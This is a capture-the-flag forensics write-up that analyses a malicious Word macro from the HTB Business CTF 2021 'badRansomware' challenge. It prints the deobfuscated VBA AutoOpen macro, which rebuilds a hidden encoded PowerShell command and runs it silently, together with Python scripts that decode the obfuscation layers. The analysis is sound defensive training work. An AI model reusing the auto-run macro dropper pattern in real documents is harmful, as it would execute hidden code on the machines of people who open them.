A wave of phishing emails came in today that seem to be executing some kind of bad ransomware. The triage team said they create encrypted copies of all the files in your Downloads folder, but forgot to delete the originals. Oops. Anyway, see if you can take a closer look and find the flag.
Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!
|Type||Jeopardy CTF / Forensics|
|Organized by||Hack The Box|
|Name||HTB Business CTF 2021 / badRansomware|
|Started||2021/07/23 12:00 UTC|
|Ended||2021/07/25 18:00 UTC|
|Author||Asentinn / NetCrawlers|
We are provided with the
$ unzip forensics_badransomware.zip $ file badRansomware.docm
Knowing that Word documents are archives, I'm extracting the contents of the
$ mkdir badRansomware $ cp badRansomware.docm badRansomware/badRansomware.zip $ cd badRansomware $ unzip badRansomware.zip $ rm badRansomware.zip $ tree
We can see that there are some VBA related files - this document contains a macro.
Useful tool to extract the potential malicious code from word files is
olevba from oletools
$ olevba --deobf badRansomware.docm > olevba.out $ nano olevba.out
Now we have the obfuscated VBA code
I'm copying the content of the macro to the separate file, create a copy of it, and I'm starting to deobfucate. I'm removing all the
Sleep 0 lines and tangent calculations because they are useless. I'm changing the variables names to make it more understandable and fix indentation. This is a result.
'macro_deobfuscated.vba Sub AutoOpen() Dim someString someString = ActiveDocument.Shapes("pelxcitrdd").AlternativeText someString = ActiveDocument.Shapes("adaopiwer").AlternativeText & someString someString = Split(someString, "@@@") Dim iterator iterator = 0 Dim someStringLength someStringLength = UBound(someString) - 1 Dim commandString For E = iterator To someStringLength Dim singeCharacterFromString Dim convertedChar singeCharacterFromString = someString(E) convertedChar = ChrW(singeCharacterFromString) commandString = commandString & convertedChar Next commandString = "powershell -e IAB" & commandString Call Shell(commandString, 0) End Sub
This function (or subroutine):
adaopiwerproperties value from the document.
Note the order of concatenation.
- Split by
@@@. This creates an array of strings.
- Converted each element in this array using ChrW function. This means these array elements are Unicode character codes.
- Each Unicode character is concatenated in a single long string.
- Finally, string is passed to the PowerShell as an encoded command.
Now we should look at the other files for
$ grep -lr "@@@" *
-l, display only file names
-r, recursive search
By looking at the content of the
word/document.xml file, we indeed can see the
adaopiwer properties with the description we are interested in here.
Let's copy both contents to the separate files called
We are ready to assemble the encoded command
#!/bin/python import sys, string ct1 = "" ct2 = "" with open('pelxcitrdd') as file1: ct1 = file1.read().strip() with open('adaopiwer') as file1: ct2 = file1.read().strip() charCodes = (ct2+ct1).split("@@@") command = "".join([chr(int(c)) for c in charCodes]) print(command)
As you can see, we ended up with a redundant
x character (character code 120). Also don't be misled by being used to see
powershell IEX commands - the
IAB is not argument list for PowerShell, but fragment of the PowerShell encoded command!
I've spent quite a bit on this, thinking what is not right.
So add it to the beginning of the string and decode it from base64. This is a complete script
#!/bin/python import sys, string, base64 ct1 = "" ct2 = "" with open('pelxcitrdd') as file1: ct1 = file1.read().strip() with open('adaopiwer') as file1: ct2 = file1.read().strip() charCodes = (ct2+ct1).split("@@@") encodedCommand = "".join([chr(int(c)) for c in charCodes]).rstrip("x") command = base64.b64decode(("IAB"+encodedCommand)) print(command)
Now we have to work with a long string and when we look closer these are once again character codes separated by following characters:
To make it a bit easier, I've extracted the string between
split commands and parsed it using Python script.
#!/bin/python import re payload = '/cut/' charCodes = re.split('X|w|c|I|M|p|}|U|R|%',payload) encodedCommand = "".join([chr(int(c)) for c in charCodes]) print(encodedCommand)
This time, we can see we achieved the readable payload - this often means we are finally at the actual malicious code.
Assuming, this is indeed the final payload - because I can see there are some memory streams operation (remember that is a code for software that encrypts files) - I'm trying to look at the script without deobfuscation.
Also because I don't know how to safely do that automaticaly, if you know, please let me know in the comments.
I've noticed that one value is a bit cryptic, yet familiar:
By pasting the string format command to the PowerShell and converting the base64 to text in CyberChef I am able to retrieve the flag.
📌 Follow the
#CyberEthicalhashtag on the social media
🎁 Become a Patron and gain additional benefits
👉 Instagram: @cyber.ethical.me
👉 LinkedIn: Kamil Gierach-Pacanek
👉 Twitter: @cyberethical_me
👉 Facebook: @CyberEthicalMe